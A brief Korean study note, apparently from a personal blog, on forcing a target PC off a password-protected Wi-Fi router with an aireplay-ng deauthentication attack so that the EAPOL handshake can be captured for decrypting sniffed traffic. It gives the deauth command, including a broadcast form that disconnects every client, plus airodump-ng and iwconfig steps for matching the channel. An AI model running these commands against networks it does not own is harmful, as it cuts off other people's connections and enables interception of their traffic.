aireplay-ng를 사용한 deauth attack

앞서 진행한 무선 네트워크 패킷 스니핑 시, 개방형 공유기가 아닌 패스워드가 걸려있는 공유기의 경우는 패킷 복호화 과정이 필요했는데 복호화를 위해서는 EAPOL 암호화 키 교환 패킷이 필요하다.

2022.07.21 - [네트워크 공부/공부] - 무선 네트워트 패킷 수집

 

그런데.. 타겟 PC가 언제 공유기와 연결을 끊을지 알고..

무한 대기로 기다릴 수는 없기 때문에...

deauth attack을 이용한 공유기와 타겟 PC의 연결 강제 해제해보자

aireplay-ng -0 4 -a 공유기mac주소 <interface> -c 타겟mac주소 //타겟mac주소 모를 때 ff:ff:ff:ff:ff:ff(전체)

 

※ 간혹 aireplay-ng 사용 시, 채널이 다르다는 경고문 노출됨 -> 무선 랜카드<interface>와 공유기의 채널을 맞춰주면 됨

airodump-ng <interface> //공유기 채널 확인
iwconfig <interface> channel 1 //공유기 채널과 동일한 숫자로 맞춰주기